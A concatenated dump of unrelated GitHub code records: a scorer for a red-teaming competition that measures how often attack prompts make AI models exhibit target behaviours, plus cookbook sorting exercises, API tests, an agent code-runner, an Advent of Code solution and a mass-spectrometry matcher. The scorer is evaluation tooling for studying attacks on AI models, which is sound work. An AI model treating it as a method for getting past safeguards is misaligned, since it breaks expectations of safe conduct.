50, \"submissions have 50 test cases per behavior, so you can only sample up to 50\"\n if sample_n < 50:\n sampled_generations = {}\n for behavior, generation_list in generations.items():\n sampled_generations[behavior] = np.random.choice(generation_list, sample_n, replace=False)\n generations = sampled_generations\n elif sample_n == 50:\n pass\n\n openai.api_key = api_key\n\n formatted_inputs = {}\n for i, (behavior, generation_list) in enumerate(generations.items()):\n formatted_inputs[behavior] = []\n for generation in generation_list:\n inp = CLS_PROMPT['prompt'].format(behavior, generation)\n formatted_inputs[behavior].append(inp)\n\n all_predictions = []\n for behavior, formatted_input_list in formatted_inputs.items():\n behavior_predictions = []\n for formatted_input in formatted_input_list:\n \n while True:\n try:\n result = openai.ChatCompletion.create(model=model_name, messages=[\n { \"role\": \"system\", \"content\": \"Follow the rules exactly.\"},\n { \"role\": \"user\", \"content\": formatted_input}],\n temperature=0,\n max_tokens=1)\n is_behavior_present = result['choices'][0]['message']['content'] == 'Yes'\n break\n except:\n print('error; waiting ten seconds and resubmitting')\n time.sleep(10)\n\n behavior_predictions.append(is_behavior_present)\n \n all_predictions.extend(behavior_predictions)\n\n if verbose:\n print(f\"{behavior} | success rate: {sum(behavior_predictions) / len(behavior_predictions):.2f}\")\n\n success_rate = sum(all_predictions) / len(all_predictions)\n\n if verbose:\n print(f\"Overall success rate: {success_rate:.2f}\")\n\n return success_rate\n\n\ndef compute_diversity(inputs, tokenizer, embedding_layer):\n \"\"\"\n :param inputs: a dictionary with each key is behavior and value is prompt\n Example of `inputs`:\n {\n 'behavior1': ['prompt1', 'prompt2', 'prompt3', ...]\n 'behavior2': ['prompt4', 'prompt5', 'prompt6'...]\n }\n :param tokenizer: the tokenizer to use\n :param embedding_layer: the embedding layer used for word averaging\n :return: the diversity rate metric\n \"\"\"\n data = []\n all_prompts = [] # To store all prompts\n all_prompts_tokens = {} # Tokenize all prompts\n all_prompts_embeddings = {} # Store embeddings of all prompts\n for behavior, prompts in inputs.items():\n for local_index, prompt in enumerate(prompts):\n tokenized_prompt = tokenizer.tokenize(prompt)\n input_ids = tokenizer.encode(prompt, return_tensors='pt')\n embeddings = embedding_layer(input_ids).squeeze(0).mean(dim=0).detach().numpy()\n\n all_prompts_tokens[prompt] = tokenized_prompt\n all_prompts_embeddings[prompt] = embeddings\n data.append({\n 'behavior': behavior,\n 'prompt': prompt,\n 'tokens': tokenized_prompt,\n 'embeddings': embeddings,\n 'local_index': local_index,\n 'global_index': len(all_prompts) + local_index,\n })\n all_prompts.extend(prompts)\n\n # utilize huggingface multi processing for dataset\n dataset = Dataset.from_pandas(pd.DataFrame(data))\n \n def compute_scores(example):\n prompt = example['prompt']\n prompt_tokens = example['tokens']\n prompt_embeddings = example['embeddings']\n local_index = example['local_index']\n global_index = example['global_index']\n\n temp_behavior_prompts_tokens = [all_prompts_tokens[p] for i, p in enumerate(inputs[example['behavior']]) if i != local_index]\n temp_all_prompts_tokens = [all_prompts_tokens[p] for i, p in enumerate(all_prompts) if i != global_index]\n\n temp_behavior_prompts_embeddings = np.array([all_prompts_embeddings[p] for i, p in enumerate(inputs[example['behavior']]) if i != local_index])\n temp_all_prompts_embeddings = np.array([all_prompts_embeddings[p] for i, p in enumerate(all_prompts) if i != global_index])\n\n # Self-BLEU\n behavior_bleu = 1 - sentence_bleu(temp_behavior_prompts_tokens, prompt_tokens)\n all_bleu = 1 - sentence_bleu(temp_all_prompts_tokens, prompt_tokens)\n\n # Embedding Score \n behavior_cosine = 1 - np.mean(sk_cosine_similarity(temp_behavior_prompts_embeddings, [prompt_embeddings]))\n all_cosine = 1 - np.mean(sk_cosine_similarity(temp_all_prompts_embeddings, [prompt_embeddings]))\n return {'diversity_score': np.mean([behavior_bleu, all_bleu, behavior_cosine, all_cosine])}\n\n dataset = dataset.map(compute_scores, num_proc=7)\n\n return np.mean(dataset['diversity_score'])\n\n\ndef evaluate(test_cases, generations, tokenizer, model_name, embedding_layer, api_key, success_rate_sample=500, verbose=False):\n \"\"\"\n Compute metrics given test cases\n :param test_cases (Dict[str, List[str]]): A dictionary where:\n - The keys are strings representing the behaviors.\n - The values are lists of strings representing the test cases for the model\n :param generations (Dict[str, List[str]]): A dictionary where:\n - The keys are strings representing the behaviors.\n - The values are lists of strings representing the model's responses to the corresponding test cases in test_cases\n :param tokenizer: the tokenizer to use\n :param model_name: the OpenAI model name to use for classification\n :param embedding_layer: the embedding layer used for word averaging\n :param api_key: the OpenAI API key\n :param success_rate_sample: the number of generations to sample for each behavior when computing success rate\n \"\"\"\n if verbose:\n print('====================== Computing Success Rate ======================')\n success_rate = compute_success_rate(generations, model_name, api_key, success_rate_sample, verbose)\n if verbose:\n print('====================== Computing Diversity ======================')\n diversity = compute_diversity(test_cases, tokenizer, embedding_layer)\n combined_score = (success_rate + success_rate * diversity) / 2\n\n return combined_score, success_rate, diversity\n","repo_name":"centerforaisafety/tdc2023-starter-kit","sub_path":"red_teaming/eval_utils.py","file_name":"eval_utils.py","file_ext":"py","file_size_in_byte":11355,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"3"} +{"seq_id":"71469015440","text":"'''\n1.13 通过某个关键字排序一个字典列表\n根据某个或某几个字典字段来排序这个列表\n'''\nrows = [\n {'fname':'Brian', 'lname':'Jones', 'uid':1003},\n {'fname':'David', 'lname':'Beazley', 'uid':1002},\n {'fname':'John', 'lname':'Cleese', 'uid':1001},\n {'fname':'Big', 'lname':'Jones', 'uid':1004} \n]\n\nfrom operator import itemgetter\nrows_by_fname = sorted(rows, key=itemgetter('fname')) #itemgetter()负责创建这个callable对象\nrows_by_uid = sorted(rows, key=itemgetter('uid'))\nprint(rows_by_fname)\nprint(rows_by_uid)\nrows_by_lfname = sorted(rows, key=itemgetter('lname', 'fname'))\nprint(rows_by_lfname)\n\n# operator.itemgetter() 有一个被rows 中的记录用来查找值的索引参数。\n# itemgetter() 有时候可以用 lambda 表达式代替, 但是itemgetter() 运行的快点\nrows_by_fname2 = sorted(rows, key=lambda r: r['fname'])\nrows_by_lfname = sorted(rows, key=lambda r: (r['lname'], r['fname']))\n\nprint(min(rows, key=itemgetter('uid')))\nprint(max(rows, key=itemgetter('uid')))\n\n\n'''\n1.14 排序不支持原生比较的对象\n相排序类型相同的对象，但是他们不支持原生的比较操作\n'''\n# 内置的sorted() 有一个关键字参数key，可以传入一个callable对象给它，这个callable对象对每个\n# 传入的对象返回一个值，这个值会被sorted 用来排序这些对象。\n# 比如，如果你在应用程序里面有一个user实例序列，希望通过user_id属性进行排序，可以提供一个\n# 以user实例作为输入并输出对应user_id 的callable对象。\nclass User:\n def __init__(self, user_id):\n self.user_id = user_id\n def __repr__(self):\n return 'User({})'.format(self.user_id)\n\ndef sort_notcompare():\n users = [User(23), User(3), User(99)]\n print(users)\n print(sorted(users, key=lambda u: u.user_id))\n# sort_notcompare()\n\n# 使用operator.attrgetter() replace lambda function\nfrom operator import attrgetter\nprint(users, key=attrgetter('user_id'))\n\n# by_name = sorted(users, key=attrgetter9'last_name', 'first_name')\n# min(users, key=attrgetter('user_id'))\n# max(users, key=attrgetter('user_id'))\n","repo_name":"dezhili/My_learnings","sub_path":"python-cookbook/Chapter1_数据结构与算法/1-13.py","file_name":"1-13.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29173623617","text":"import six\n\nfrom walle.clients import cauth, staff\nfrom walle.hosts import HostState\nfrom walle.projects import CauthSettingsDocument\n\n\nclass TestProjectsToHosts:\n def test_does_not_return_free_hosts(self, walle_test):\n self.mock_project_w_hosts(walle_test, proj_id=1, num_hosts=4, num_free_hosts=1)\n resp = walle_test.api_client.get(\"/v1/cauth/projects-to-hosts\")\n projects_to_hosts = self.parse_response(resp.data)\n assert \"project-1\" in projects_to_hosts\n # project-1-3 is FREE and must be omitted\n assert projects_to_hosts[\"project-1\"] == {\"project-1-0\", \"project-1-1\", \"project-1-2\"}\n\n def test_returns_empty_projects(self, walle_test):\n self.mock_project_w_hosts(walle_test, proj_id=1, num_hosts=0, num_free_hosts=0)\n resp = walle_test.api_client.get(\"/v1/cauth/projects-to-hosts\")\n projects_to_hosts = self.parse_response(resp.data)\n assert projects_to_hosts[\"mocked-default-project\"] == set()\n\n def test_multiple_projects(self, walle_test):\n self.mock_project_w_hosts(walle_test, proj_id=1, num_hosts=2, num_free_hosts=1)\n self.mock_project_w_hosts(walle_test, proj_id=2, num_hosts=2, num_free_hosts=0)\n resp = walle_test.api_client.get(\"/v1/cauth/projects-to-hosts\")\n projects_to_hosts = self.parse_response(resp.data)\n assert projects_to_hosts == {\n \"mocked-default-project\": set(),\n \"project-1\": {\"project-1-0\"},\n \"project-2\": {\"project-2-0\", \"project-2-1\"},\n }\n\n def mock_project_w_hosts(self, walle_test, proj_id, num_hosts, num_free_hosts=0):\n project = \"project-{}\".format(proj_id)\n walle_test.mock_project({\"id\": project})\n\n for host_idx in range(num_hosts):\n host_state = HostState.ASSIGNED if host_idx < num_hosts - num_free_hosts else HostState.FREE\n walle_test.mock_host(\n {\n \"inv\": 10 * proj_id + host_idx,\n \"name\": \"{}-{}\".format(project, host_idx),\n \"project\": project,\n \"state\": host_state,\n }\n )\n\n def parse_response(self, data):\n lines = six.ensure_str(data).split(\"\\n\")\n projects_to_hosts = {}\n for line in lines:\n if line:\n project, hosts = line.split(\":\")\n projects_to_hosts[project] = set(hosts.split(\",\")) if hosts else set()\n return projects_to_hosts\n\n\nclass TestProjectsToResponsibles:\n def test_project_to_responsibles(self, walle_test, mp):\n mp.function(\n staff.batch_get_groups_members, return_value={\"@group1\": [\"g1_user1\", \"g1_user2\"], \"@group2_empty\": []}\n )\n\n walle_test.mock_project({\"id\": \"proj1\", \"owners\": sorted([\"user1\", \"@group1\"])})\n walle_test.mock_project({\"id\": \"proj2\", \"owners\": sorted([\"@group1\", \"@group2_empty\"])})\n\n expected = {\n \"mocked-default-project\": [\"mocked-user\"],\n \"proj1\": sorted([\"user1\", \"g1_user1\", \"g1_user2\"]),\n \"proj2\": sorted([\"g1_user1\", \"g1_user2\"]),\n }\n resp = walle_test.api_client.get(\"/v1/cauth/projects-to-responsibles\")\n assert resp.json == expected\n\n\nclass TestProjectsCauthSettings:\n def test_projects_cauth_settings(self, walle_test):\n cauth_settings = CauthSettingsDocument(\n flow_type=cauth.CauthFlowType.BACKEND_SOURCES,\n trusted_sources=[cauth.CauthSource.WALLE, cauth.CauthSource.IDM],\n )\n walle_test.mock_project({\"id\": \"proj1\"})\n walle_test.mock_project({\"id\": \"proj2\", \"cauth_settings\": cauth_settings})\n\n expected = {\n \"mocked-default-project\": {},\n \"proj1\": {},\n \"proj2\": {\n \"flow\": \"backend_sources\",\n \"trusted_sources\": \"walle,idm\",\n \"key_sources\": \"staff\",\n },\n }\n resp = walle_test.api_client.get(\"/v1/cauth/projects-cauth-settings\")\n assert resp.json == expected\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"infra/tests/api/test_cauth_api.py","file_name":"test_cauth_api.py","file_ext":"py","file_size_in_byte":4025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34014961872","text":"from utils import read_txt_file_as_string, extract_python_code, write_tool\nfrom environment.code_run import run_code_with_pip_dependencies\nimport sys\n\n\nclass Env:\n def __init__(self, states: dict = {}, current: int = 0):\n self.states = states\n self.current = current\n\n def get_current_state(self):\n return self.states[self.current]\n\n def get_previous_state(self):\n if self.current > 0:\n return self.states[self.current - 1]\n else:\n return None\n\n def execute_action(self, action, parameters):\n self.current += 1\n self.states[self.current] = action\n print(action)\n path = \"api/tools/\" + action\n print(path)\n code = read_txt_file_as_string(path)\n print(code)\n print(parameters[0])\n formatted_code = code.format(parameters[0])\n print(formatted_code)\n return run_code_with_pip_dependencies(formatted_code)\n\n\n\n\n\n \n","repo_name":"wesley7137/iga","sub_path":"api/environment/Web_Voyager_Env.py","file_name":"Web_Voyager_Env.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"16104159173","text":"#Advent Day 1 Part 1\n#depths = open(\"sonar_depths_input_data_1.txt\").read().split('\\n')\ndepths = open(\"Day_One_Sonar_Depths_Inputs.txt\").read().split('\\n')\n\n\"\"\" PART ONE \"\"\"\nlastdepth = depths[0]\ncount = 0\ncount2 = 0\ntcount = 0\nfor d in depths:\n if (int(d) > int(lastdepth)):\n print(d + \" Increase.\")\n lastdepth = d\n count += 1\n tcount += 1\n else:\n print(lastdepth + \" - \" + d + \" - Decrease\")\n lastdepth = d\n count2 += 1\n tcount += 1\n \nprint(\"Total Inputs: \" + str(tcount))\nprint(\"Increases: \" + str(count))\nprint(\"Decreases: \" + str(count2))\n#not 1476 too low\n\n\"\"\"\n199\n200\n208\n210\n200\n207\n240\n269\n260\n263\n\"\"\"","repo_name":"codeninja481/Advent_Of_Code_2021","sub_path":"Day_01/Day_One_Sonar_Depths_Part_One.py","file_name":"Day_One_Sonar_Depths_Part_One.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38088044129","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 12 10:11:13 2017\n\n@author: Hussein Al Ghoul\n\"\"\"\n\nimport os\nimport pandas as pd\nimport numpy as np\n\nimport CosineDotProduct_v24 as cpd\nimport pymysql as mysql\nimport time\n#from sqlalchemy import create_engine\n#cnx = create_engine('mysql://root:password@localhost/db')\n\n\ndfc = None\ndfn = None\n\nAdduct_Mass = 1.007825\n\n\ndef read_NTA_data(file=''): # read a csv file into a DataFrame\n global dfn\n dfn = pd.read_csv(file)\n #dfn.columns = dfn.columns.str.replace(' ','_')\n energy_column = 'Collision Energy A (Fragment Mass, Predicted Formula, Abundance, Abundance %)'\n regexI = \"[\\^,]*([0-9]+\\.*[0-9]*)$\" # a regex to find the score looking for a pattern of \"=something_to_find ]\" \n regexE = \"(.*?)\\,{2}\"\n dfn['INTENSITY0N'] = dfn[energy_column].str.extract(regexI,expand=True).astype('float64')\n dfn['PMASS'] = dfn[energy_column].str.extract(regexE,expand=True).astype('float64')\n dfn = dfn[['CASRN','PMASS','INTENSITY0N']]\n dfn.sort_values(['CASRN','INTENSITY0N'],ascending=[True,False],inplace=True) \n dfn.to_csv(\"nta.csv\",index=False)\n #print dfn\n return dfn\n\n\n\n\n\ndef parseMGF(file=''):\n NFile = file.rsplit('/',1)[-1]\n NewFile = NFile.rsplit('.',1)[0] + \".csv\"\n with open(file) as f:\n RESULT = list()\n for line in f:\n if line.startswith('TITLE'):\n result = list()\n fields = line.split(' ')\n title, MS, of, pmass, charge, at, RT, mins, delimeter = fields\n #print(fields) # AC\n #print (pmass, charge, RT)\n #result.append([pmass,RT])\n if line.startswith('RTINSECONDS'):\n RTS = line.split('=')[1]\n for line in f:\n if line.split(' ')[0] == 'END':\n break\n a, b = line.split('\\t')\n result.append([float(pmass), float(RT), charge, float(a),float(b)])\n RESULT.append(result)\n #print RESULT[0]\n categories = [ \"RUN %s\" %i for i in range(0,len(RESULT))]\n dfg = pd.concat([pd.DataFrame(d) for d in RESULT], keys=categories)\n dfg.columns = [\"MASS\", \"RETENTION TIME\", \"CHARGE\", \"PMASS_y\",\"INTENSITY\"]\n dfg.sort_values(['MASS','RETENTION TIME'],ascending=[True,True],inplace=True) \n df1 = dfg.reset_index()\n df1['TOTAL INTENSITY'] = df1.groupby(['MASS','RETENTION TIME'])['INTENSITY'].transform(sum)\n df1.sort_values(['MASS','TOTAL INTENSITY'],ascending=[True,True],inplace=True)\n df1 = df1.groupby('MASS').apply(lambda x: x[x['TOTAL INTENSITY'] == x['TOTAL INTENSITY'].max()])\n df1.loc[df1['PMASS_y']>df1['MASS'],'INTENSITY']=None\n df1.dropna(inplace=True)\n df1.sort_values(['MASS','INTENSITY'],ascending=[True,False],inplace=True)\n #df1['INTENSITY0M'] = df1.groupby('MASS')['INTENSITY'].apply(lambda x: (x/x.nlargest(2).min())*100.0)\n df1['INTENSITY0M'] = (df1['INTENSITY']/df1.groupby('MASS')['INTENSITY'].transform(np.max))*100.0\n df1.loc[df1['INTENSITY0M']>100,'INTENSITY0M']=None\n #df1.loc[df1['INTENSITY0M']<0.1,'INTENSITY0M']=None\n df1.reset_index(drop=True, inplace=True) # reset index\n #df1['ENERGY'] = 'energy0'\n df1.to_csv(NewFile,float_format='%.5f',index=False)\n dfg = df1\n #dfg.to_csv(\"CE10d_mgf.csv\",index=False)\n return dfg\n\n\ndef spectrum_reader(file=''):\n dfg = pd.read_csv(file)\n #dfg = dfg.groupby(['MASS','RETENTION TIME']).head(30)\n dfg = dfg[(dfg['INTENSITY0M']<=100) & (dfg['INTENSITY0M']>0.0)]\n return dfg\n\n\n''' A SQL query to get all the corresponding info from the database'''\ndef sqlCFMID(mass=None,ppm=None,mode=None,formula=None):\n db = mysql.connect(host=\"host name\",\n user=\"user name\",\n passwd=\"password\",\n db=\"db name\") \n \n cur = db.cursor()\n accuracy_condition = ''\n if mass:\n if ppm>=1:\n accuracy_condition = \"\"\"(abs(c.mass-\"\"\"+str(mass)+\"\"\")/\"\"\"+str(mass)+\"\"\")*1000000<\"\"\"+str(ppm)\n if ppm<1 and ppm>0: \n accuracy_condition = \"\"\"(abs(c.mass-\"\"\"+str(mass)+\"\"\")\"\"\"\n if formula:\n accuracy_condition = \"\"\"c.formula='\"\"\"+formula+\"\"\"'\"\"\"\n query= \"\"\"select t1.dtxcid as DTXCID, t1.formula as FORMULA,t1.mass as MASS, t1.mz as PMASS_x, (t1.intensity/maxintensity)*100.0 as INTENSITY0C,\nt1.energy as ENERGY \nfrom \n\n(select c.dtxcid, max(p.intensity) as maxintensity, p.energy from peak p\n\t\t\tInner Join job j on p.job_id=j.id\n\t\t\tInner Join spectra s on j.spectra_id = s.id\n\t\t\tInner Join chemical c on j.dtxcid=c.dtxcid\n\t\t\t#Inner Join fragtool ft on j.fragtool_id=ft.id\n \t\t#inner join fragintensity fi on fi.peak_id = p.id \n\t\t where \"\"\" +accuracy_condition + \"\"\" \n and s.type='\"\"\" + mode + \"\"\"'\n\t\t\tgroup by c.dtxcid, p.energy) t2\n left join\n\t(select c.*, p.* from peak p\n\t\tInner Join job j on p.job_id=j.id\n\t\tInner Join spectra s on j.spectra_id = s.id\n\t\tInner Join chemical c on j.dtxcid=c.dtxcid\n\t\t#Inner Join fragtool ft on j.fragtool_id=ft.id \n \t#inner join fragintensity fi on fi.peak_id = p.id \n\t\twhere \"\"\" +accuracy_condition + \"\"\" \n and s.type='\"\"\" + mode + \"\"\"') t1\n\non t1.dtxcid=t2.dtxcid and t1.energy=t2.energy\norder by DTXCID,ENERGY,INTENSITY0C desc;\"\"\"\n #Decided to chunk the query results for speed optimization in post porocessing (spectral matching)\n cur.execute(query)\n chunks=list()\n for chunk in pd.read_sql(query,db,chunksize=1000):\n chunks.append(chunk)\n return chunks\n \n\ndef list_maker(fpcdl,dfg,mode,pcdl_mode):\n # make a list of the MGF masses corresponding to the PCL Monoisotopic masses \n dfpc = pd.read_csv(fpcdl)\n dfg['Mass_rounded'] = dfg['MASS'].round(1)\n dfpcdl = dfpc.loc[dfpc['Polarity'] == mode]\n dfpcdl['Mass_rounded'] = dfpcdl['Neutral Monoisotopic Mass'].round(1)\n df = pd.merge(dfpcdl,dfg,how='left',on='Mass_rounded') \n df['MATCHES'] = np.where((((abs(df['Neutral Monoisotopic Mass']-df['MASS'])/df['MASS'])*1000000)<=15),'1','0') \n df.drop(df[df['MATCHES'] == '0'].index,inplace=True)\n df=df[np.isfinite(df['MASS'])]\n if pcdl_mode:\n mlist = df['MASS'].unique().tolist()\n else:\n mlist = dfg['MASS'].unique().tolist()\n print(mlist)\n return mlist\n\n\ndef input_parser(file,filtering,energy):\n with open(file) as f:\n RESULT = list()\n for line in f:\n if line.startswith('Mode'):\n result = list()\n tolerance = list()\n mode = line.strip().split('=')[1]\n print(mode)\n if line.startswith('Mass'):\n mass = line.split('=')[1]\n if line.startswith('Energy'):\n Energy = line.split('=')[1].strip('\\n') \n if line.startswith('MTolerance'):\n ppm = line.split('=')[1]\n if line.startswith('PTolerance'):\n ppm_sl = line.split('=')[1]\n if line.startswith('#BEGIN'):\n for line in f:\n if line.split(' ')[0] == '#END':\n break\n a, b = line.split('\\t')\n result.append([float(mass), str(mode), str(Energy), float(a),float(b)])\n tolerance.append(float(ppm))\n tolerance.append(float(ppm_sl))\n RESULT.append(result)\n print(RESULT[0])\n categories = [ \"RUN %s\" %i for i in range(0,len(RESULT))]\n df = pd.concat([pd.DataFrame(d) for d in RESULT], keys=categories)\n df.columns = [\"MASS\", \"MODE\", \"ENERGY\", \"PMASS_y\",\"INTENSITY\"]\n df.sort_values(['MASS','PMASS_y'],ascending=[True,True],inplace=True) \n df.loc[df['PMASS_y']>df['MASS'],'INTENSITY']=None\n df.dropna(inplace=True)\n #df1['INTENSITY0M'] = df1.groupby('MASS')['INTENSITY'].apply(lambda x: (x/x.nlargest(2).min())*100.0)\n df['INTENSITY0M'] = (df['INTENSITY']/df.groupby('MASS')['INTENSITY'].transform(np.max))*100.0\n df.loc[df['INTENSITY0M']>100,'INTENSITY0M']=None\n #df1.loc[df1['INTENSITY0M']<0.1,'INTENSITY0M']=None\n df.reset_index(drop=True, inplace=True) # reset index\n df.to_csv('try.csv',float_format='%.5f',index=False)\n ppm = tolerance[0]\n ppm_sl = tolerance[1] \n compare_df(df,ppm,ppm_sl,filtering,energy)\n return df \n \n \ndef compare_df(dfg,ppm,ppm_sl,filtering,energy):\n mode = dfg.at[0,'MODE'] \n if mode=='ESI-MSMS-pos':\n dfg['MASS'] = dfg.groupby('MODE')['MASS'].transform(lambda x: (x-1.007825))\n dfg['MASS'] = dfg['MASS'].round(6)\n if mode=='ESI-MSMS-neg':\n dfg['MASS'] = dfg.groupby('MODE')['MASS'].transform(lambda x: (x+1.007825)) \n dfg['MASS'] = dfg['MASS'].round(6) \n if mode=='ESI-MSMS-neutral':\n dfg['MASS'] = dfg['MASS'].round(6) \n mass = dfg.at[0,'MASS'] \n dfcfmid = sqlCFMID(mass,ppm,mode)\n print(dfg)\n #print dfcfmid\n dfmgf = None\n df = None\n dfmgf = dfg[dfg['MASS'] == mass].reset_index()\n dfmgf.sort_values('MASS',ascending=True,inplace=True)\n df = cpd.Score(dfcfmid,dfmgf,mass,ppm_sl,filtering,energy)\n dfAE = df[0] #all energies scores\n dfS = df[1]\n dfAE.to_excel('Energies_Scores_input_spectrum.xlsx',engine='xlsxwriter')\n dfS.to_excel('Sum_Scores_input_spectrum.xlsx',engine='xlsxwriter')\n\n\n\ndef compare_mgf_df(file,filename,fpcdl,ppm,ppm_sl,POSMODE,filtering,energy,bymass,pcdl_mode): \n dfg = spectrum_reader(file)\n if POSMODE:\n mode='ESI-MSMS-pos'\n polarity=['ESI+','Esi+']\n #CMass = Mass - Adduct_Mass\n dfg['MASS'] = dfg.groupby('RETENTION TIME')['MASS'].transform(lambda x: (x-1.007825))\n dfg['MASS'] = dfg['MASS'].round(6)\n else:\n mode='ESI-MSMS-neg'\n polarity=['ESI-','Esi-']\n #CMass = Mass + Adduct_Mass\n dfg['MASS'] = dfg.groupby('RETENTION TIME')['MASS'].transform(lambda x: (x+1.007825)) \n dfg['MASS'] = dfg['MASS'].round(6)\n #dfg.to_csv(\"dfg_aftercsv.csv\",float_format='%.7f',index=False) \n #mass_list = dfg['MASS'].unique().tolist()\n #mass_list = [312.184525]\n Polarity = polarity[0]\n mass_list = list_maker(fpcdl,dfg,Polarity,pcdl_mode)\n if not mass_list:\n Polarity = polarity[1]\n mass_list = list_maker(fpcdl,dfg,Polarity,pcdl_mode)\n #mass_list = mass_list[1:2]\n print(mass_list)\n print(\"Number of masses to search: \" + str(len(mass_list)))\n dfAE_list=list()\n dfS_list=list() \n for mass in mass_list:\n index = mass_list.index(mass) + 1\n print(\"searching mass \" + str(mass) + \" number \" + str(index) + \" of \" + str(len(mass_list)))\n dfcfmid = sqlCFMID(mass,ppm,mode)\n if not dfcfmid:\n print(\"No matches for this mass in CFMID library, consider changing the accuracy of the queried mass\")\n else: \n dfmgf = None\n df = None\n dfmgf = dfg[dfg['MASS'] == mass].reset_index()\n dfmgf.sort_values('MASS',ascending=True,inplace=True)\n df = cpd.Score(dfcfmid,dfmgf,mass,ppm_sl,filtering,energy)\n if mode=='ESI-MSMS-pos':\n df[0]['MASS_in_MGF'] = mass + 1.007825\n df[1]['MASS_in_MGF'] = mass + 1.007825\n if mode=='ESI-MSMS-neg':\n df[0]['MASS_in_MGF'] = mass - 1.007825\n df[1]['MASS_in_MGF'] = mass - 1.007825\n dfAE_list.append(df[0]) #all energies scores\n dfS_list.append(df[1]) #sum of all energies score\n if not dfAE_list:\n print(\"No matches All Energies found\")\n else:\n dfAE_total = pd.concat(dfAE_list) #all energies scores for all matches\n\n if not dfS_list:\n print (\"No matches Single Energies found\")\n else: \n dfS_total = pd.concat(dfS_list) #Sum of scores for all matches\n #th_dtxcid = dfAE_list[0].at[0,'DTXCID'] #top hit dtxcid for plotting\n #print(th_dtxcid) \n #dfcfm = pd.concat(dfcfmid)[(pd.concat(dfcfmid)['DTXCID'] == th_dtxcid) & (pd.concat(dfcfmid)['ENERGY'] == 'energy2')].reset_index()\n #cpd.plot(dfcfm,dfmgf)\n if pcdl_mode:\n df_resultAE = merge_pcdl(fpcdl,dfAE_total,Polarity,bymass,ppm)\n NFile = fpcdl.rsplit('/',1)[-1]\n firstFile = NFile.rsplit('.',1)[0] + \"_compared_with_CFMID_MultiScores_byformula_DTXCID.xlsx\"\n if bymass:\n secondFile = NFile.rsplit('.',1)[0] + \"_compared_with_CFMID_MultiScores_bymass_AllHits.xlsx\" \n else:\n secondFile = NFile.rsplit('.',1)[0] + \"_compared_with_CFMID_MultiScores_byformula_AllHits.xlsx\" \n df_resultAE[0].to_excel(firstFile,engine='xlsxwriter')\n df_resultAE[1].to_excel(secondFile,engine='xlsxwriter')\n df_resultS = merge_pcdl(fpcdl,dfS_total,Polarity,bymass,ppm)\n\n NFile = fpcdl.rsplit('/',1)[-1]\n firstFile = NFile.rsplit('.',1)[0] + \"_compared_with_CFMID_OneScore_wformula_DTXCID.xlsx\"\n if bymass: \n secondFile = NFile.rsplit('.',1)[0] + \"_compared_with_CFMID_OneScore_bymass_AllHits.xlsx\" \n else:\n secondFile = NFile.rsplit('.',1)[0] + \"_compared_with_CFMID_OneScore_byformula_AllHits.xlsx\" \n df_resultS[0].to_excel(firstFile,engine='xlsxwriter')\n df_resultS[1].to_excel(secondFile,engine='xlsxwriter') \n else:\n #dfAE_total.to_excel('CFMID_Multiscores_AllHits.xlsx',engine='xlsxwriter')\n #dfS_total.to_excel('CFMID_OneScore_AllHits.xlsx',engine='xlsxwriter')\n dfAE_total.to_excel(filename+'_CFMID_Multiscores_AllHits.xlsx',engine='xlsxwriter')\n dfS_total.to_excel(filename+'_CFMID_OneScore_AllHits.xlsx',engine='xlsxwriter')\n\n\n\n\n\"\"\"///This function merges the results from the CFMID analysis back to the\nPCDL file. It first merges them entirely by the dtxcid, then either by formula matches and in that case only\nformula matches are merged back, or by mass in ncase no formula prediction was done\nof the pcdl part. I added a filter to give you an On/Off switch to control whether to merge\nby formula or by mass. Set bymass=True to m,erge by mass\"\"\"\ndef merge_pcdl(fpcdl,df,polarity,bymass,ppm):\n dfT = list()\n df['Polarity'] = polarity\n #print df\n dfpcdl = pd.read_csv(fpcdl)\n dfpcdl['Predicted/Matched Formula'] = dfpcdl['Predicted/Matched Formula'].str.replace(' ','')\n dfm = pd.merge(dfpcdl,df,how='left',on='DTXCID')\n dfT.append(dfm)\n dfm = None\n\n if bymass:\n dfpcdl['MASS_rounded'] = dfpcdl['Neutral Monoisotopic Mass'].round(1)\n df['MASS_rounded'] = df['MASS'].round(1)\n dfm = pd.merge(dfpcdl,df,suffixes=['','_CFMID'],how='left',on='MASS_rounded') \n dfm.drop(['MASS_rounded','PCDL MATCH','RT1 (min)'],axis=1,inplace=True)\n #dfm = dfm.set_index(['Neutral Monoisotopic Mass','Predicted/Matched Formula','Predicted/Matched Compound'\t,'DTXSID','CASRN','DTXCID','MASS','FORMULA','DTXCID_CFMID']).head()\n\n else:\n dfm = pd.merge(dfpcdl,df,suffixes=['','_CFMID'],how='left',left_on='Predicted/Matched Formula',right_on='FORMULA')\n #dfm.drop(['PCDL MATCH','RT1 (min)'],axis=1,inplace=True)\n dfm=dfm.dropna(axis=1,how='all')\n #dfm.set_index(dfm.columns.values.tolist(),inplace=True)\n print(dfm)\n #dfm = dfm.set_index(dfm.columns.values.tolist()[0:11]).head()\n\n\n #dfm.sort_values(['Neutral Monoisotopic Mass','MASS','RANK'],ascending=[True,True,True],inplace=True)\n dfT.append(dfm)\n return dfT\n\n\n\ndef indexing(file):\n df = pd.read_csv(file)\n df.set_index(df.columns.values.tolist(),inplace=True)\n print(df)\n df.to_excel('try_indexing_outcome.xlsx',engine='xlsxwriter')\n\n \n\n\n \n#read_NTA_data('/home/hussein/Documents/NTA/Python_alt/ENTACT_DataReporting_EPA_MS2.csv')\n#parseCFMID('/home/hussein/Documents/NTA/Python_alt/spectra_ESI-MSMS-neg_mass.dat')\n#compare_df(183.057312)\n#compare_df(183.058217) \n \n#parseMGF(os.getcwd()+'/20180418_505_CE40.mgf') #<--Convert MGF to CSV\n\n# to read a signle spectrum from text file input spectrum:\n#input_parser('input_spectrum.txt') \n\n\n# to process MGD files uncomment the following lines\n#indexing('try_indexing.csv')\n'''\nfile = 